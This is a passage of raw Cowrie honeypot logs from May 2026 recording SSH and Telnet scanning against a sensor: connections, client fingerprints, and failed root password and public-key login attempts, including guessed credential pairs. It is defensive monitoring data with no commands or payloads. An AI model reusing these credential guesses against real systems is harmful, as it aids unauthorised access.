com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:12.311751Z","src_ip":"31.40.204.166","session":"76420f99a806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:13.224632Z","src_ip":"31.40.204.166","session":"76420f99a806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:14.406775Z","src_ip":"31.40.204.166","session":"76420f99a806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43270,"dst_ip":"10.17.0.5","dst_port":23,"session":"6815d2b6d8fc","protocol":"telnet","message":"New connection: 152.42.224.71:43270 (10.17.0.5:23) [session: 6815d2b6d8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:14.510446Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43280,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9dda73ab8b","protocol":"telnet","message":"New connection: 152.42.224.71:43280 (10.17.0.5:23) [session: ba9dda73ab8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:15.674627Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":33634,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad983311d5d3","protocol":"ssh","message":"New connection: 103.122.221.179:33634 (159.203.135.109:22) [session: ad983311d5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:17.305217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:17.313164Z","src_ip":"103.122.221.179","session":"ad983311d5d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:17.566162Z","src_ip":"103.122.221.179","session":"ad983311d5d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35558,"dst_ip":"10.17.0.5","dst_port":23,"session":"beeb2c4f4a0d","protocol":"telnet","message":"New connection: 152.42.224.71:35558 (10.17.0.5:23) [session: beeb2c4f4a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:17.873883Z"}
{"eventid":"cowrie.session.closed","duration":25.75334119796753,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:17.963104Z","src_ip":"152.42.224.71","session":"bd861c620bdf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456123q","message":"login attempt [root/789456123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:18.325043Z","src_ip":"103.122.221.179","session":"ad983311d5d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35568,"dst_ip":"10.17.0.5","dst_port":23,"session":"567b62e33163","protocol":"telnet","message":"New connection: 152.42.224.71:35568 (10.17.0.5:23) [session: 567b62e33163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:19.045935Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:19.580395Z","src_ip":"103.122.221.179","session":"ad983311d5d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.798065185546875,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:19.763427Z","src_ip":"152.42.224.71","session":"93210b94bb7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35584,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1cc4ea917c7","protocol":"telnet","message":"New connection: 152.42.224.71:35584 (10.17.0.5:23) [session: a1cc4ea917c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:22.666820Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35596,"dst_ip":"10.17.0.5","dst_port":23,"session":"00d9da408adf","protocol":"telnet","message":"New connection: 152.42.224.71:35596 (10.17.0.5:23) [session: 00d9da408adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:22.958917Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35612,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d467426191","protocol":"telnet","message":"New connection: 152.42.224.71:35612 (10.17.0.5:23) [session: 90d467426191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:23.120192Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41394,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccb7bac85c82","protocol":"ssh","message":"New connection: 31.40.204.166:41394 (159.203.135.109:22) [session: ccb7bac85c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:24.428980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:24.432831Z","src_ip":"31.40.204.166","session":"ccb7bac85c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:24.596673Z","src_ip":"31.40.204.166","session":"ccb7bac85c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:25.083340Z","src_ip":"31.40.204.166","session":"ccb7bac85c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35622,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6e389169db9","protocol":"telnet","message":"New connection: 152.42.224.71:35622 (10.17.0.5:23) [session: d6e389169db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:25.507035Z"}
{"eventid":"cowrie.session.closed","duration":25.135632038116455,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:26.137494Z","src_ip":"152.42.224.71","session":"12a0fc84318a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:26.218060Z","src_ip":"31.40.204.166","session":"ccb7bac85c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48812,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b45434c576","protocol":"telnet","message":"New connection: 152.42.224.71:48812 (10.17.0.5:23) [session: b1b45434c576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:29.769392Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48824,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e5ecb22b666","protocol":"telnet","message":"New connection: 152.42.224.71:48824 (10.17.0.5:23) [session: 1e5ecb22b666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:31.169835Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48830,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcead25f5fa6","protocol":"telnet","message":"New connection: 152.42.224.71:48830 (10.17.0.5:23) [session: bcead25f5fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:32.053785Z"}
{"eventid":"cowrie.session.closed","duration":110.45782017707825,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:32.232257Z","src_ip":"152.42.224.71","session":"5867416afbb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48846,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ec746686987","protocol":"telnet","message":"New connection: 152.42.224.71:48846 (10.17.0.5:23) [session: 4ec746686987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:33.062815Z"}
{"eventid":"cowrie.session.closed","duration":35.47188687324524,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:35.179002Z","src_ip":"152.42.224.71","session":"92d955235233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.25.10.167","src_port":57828,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa4d9873cb82","protocol":"ssh","message":"New connection: 69.25.10.167:57828 (10.17.0.5:22) [session: aa4d9873cb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.346530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.351637Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.446262Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33492,"dst_ip":"159.203.135.109","dst_port":22,"session":"a583ff03dbf6","protocol":"ssh","message":"New connection: 31.40.204.166:33492 (159.203.135.109:22) [session: a583ff03dbf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.720070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.725711Z","src_ip":"31.40.204.166","session":"a583ff03dbf6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:35:b7:7b:a0:83:4a:ea:13:89:75:5a:10:38:27:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgaKppNX+bh01ASGY5Klg/f+jbaPYf5YCV38k5DNGQCdRVyChBwZyhI8YRkVeOymvgMzMcrdKDc7DdP/AuVO6RoPeMufU2KFnyaameyDcSlsOv+XsARbxW6lmkrQSkAVP2lkx87kFR/tv9d6c7Qbtebw9evfuryfdirrjpTAoibWj4eq7CtHbtv1EHt5zC67OghRhpH+tzIHDwQHs+nxDRFCxc+LZZ/xGnTPzR02NAGw2pndjgEcbiEsCMpkWlKR9Gcr6oHyp5kI6/jsY22JPJOShm0UNSyFHgxiwWnfgu/4/qz0yrU6ExakkzOfW/k9L7rGVlitpJtwc9TXXJLxyH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:35:b7:7b:a0:83:4a:ea:13:89:75:5a:10:38:27:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.879310Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:35:b7:7b:a0:83:4a:ea:13:89:75:5a:10:38:27:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgaKppNX+bh01ASGY5Klg/f+jbaPYf5YCV38k5DNGQCdRVyChBwZyhI8YRkVeOymvgMzMcrdKDc7DdP/AuVO6RoPeMufU2KFnyaameyDcSlsOv+XsARbxW6lmkrQSkAVP2lkx87kFR/tv9d6c7Qbtebw9evfuryfdirrjpTAoibWj4eq7CtHbtv1EHt5zC67OghRhpH+tzIHDwQHs+nxDRFCxc+LZZ/xGnTPzR02NAGw2pndjgEcbiEsCMpkWlKR9Gcr6oHyp5kI6/jsY22JPJOShm0UNSyFHgxiwWnfgu/4/qz0yrU6ExakkzOfW/k9L7rGVlitpJtwc9TXXJLxyH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.882645Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.908586Z","src_ip":"31.40.204.166","session":"a583ff03dbf6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:c6:b6:32:2a:c1:bc:28:e7:1d:0d:8a:53:10:b7:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGctTT9NNYZ2Bzm8xlcU0KPCWNAYJ6hbmTHn7xQP2Qlb","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 83:c6:b6:32:2a:c1:bc:28:e7:1d:0d:8a:53:10:b7:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.973785Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:c6:b6:32:2a:c1:bc:28:e7:1d:0d:8a:53:10:b7:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGctTT9NNYZ2Bzm8xlcU0KPCWNAYJ6hbmTHn7xQP2Qlb","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:36.978128Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:3e:98:27:49:f2:be:b2:35:6b:41:66:11:f3:a6:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnbvTSqlOoIOdBCt147Q9+QMG3PyksnuevpfMTz+9j6TOr4m95wTmad3XHFLKB9M45FY38RkNO8hVoOXp30S4vtofX5V1BuQtBj3psv7CC5k9I9VB8K8oblYMfSDnEuGZZ0BgLChvhL4n3aFRSN6AZOSReONsohgJatuy7/bfEUfSZyHjaL3QegfDfVPExm1J3JkGJrjVmwytWzOu2pvzNS/aY/HAAISp2slAJvbOn43QJS6kNdEh2NKkWQUJnFxAsxeHd9PFO3aRDNsllDmGBiCLQ0zv5BCiI1iyGdN+nzRUqYyycdGPGBUgngRNiu3X/scBCCJszPBWTYYLPonJeGAKpkyIWBATgAOv4EDLssGpl7XM7a5bwN0MMJ1jmhO+iZ/GDe8uipWKXSHV81CIo2In8UAY9n4fGSr1fFIZdwbQmi2Co80Jq3784XfNkm139EqcFJGKBJmYiYjMH5+3mDk6WJa5IzdBlLffp+01XVJhwY0K79ipAkyMBlsQDJ+E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:3e:98:27:49:f2:be:b2:35:6b:41:66:11:f3:a6:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:37.070121Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:3e:98:27:49:f2:be:b2:35:6b:41:66:11:f3:a6:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnbvTSqlOoIOdBCt147Q9+QMG3PyksnuevpfMTz+9j6TOr4m95wTmad3XHFLKB9M45FY38RkNO8hVoOXp30S4vtofX5V1BuQtBj3psv7CC5k9I9VB8K8oblYMfSDnEuGZZ0BgLChvhL4n3aFRSN6AZOSReONsohgJatuy7/bfEUfSZyHjaL3QegfDfVPExm1J3JkGJrjVmwytWzOu2pvzNS/aY/HAAISp2slAJvbOn43QJS6kNdEh2NKkWQUJnFxAsxeHd9PFO3aRDNsllDmGBiCLQ0zv5BCiI1iyGdN+nzRUqYyycdGPGBUgngRNiu3X/scBCCJszPBWTYYLPonJeGAKpkyIWBATgAOv4EDLssGpl7XM7a5bwN0MMJ1jmhO+iZ/GDe8uipWKXSHV81CIo2In8UAY9n4fGSr1fFIZdwbQmi2Co80Jq3784XfNkm139EqcFJGKBJmYiYjMH5+3mDk6WJa5IzdBlLffp+01XVJhwY0K79ipAkyMBlsQDJ+E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:37.074316Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.3059983253479,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:37.081716Z","src_ip":"152.42.224.71","session":"d05dbe82257e","protocol":"telnet"}
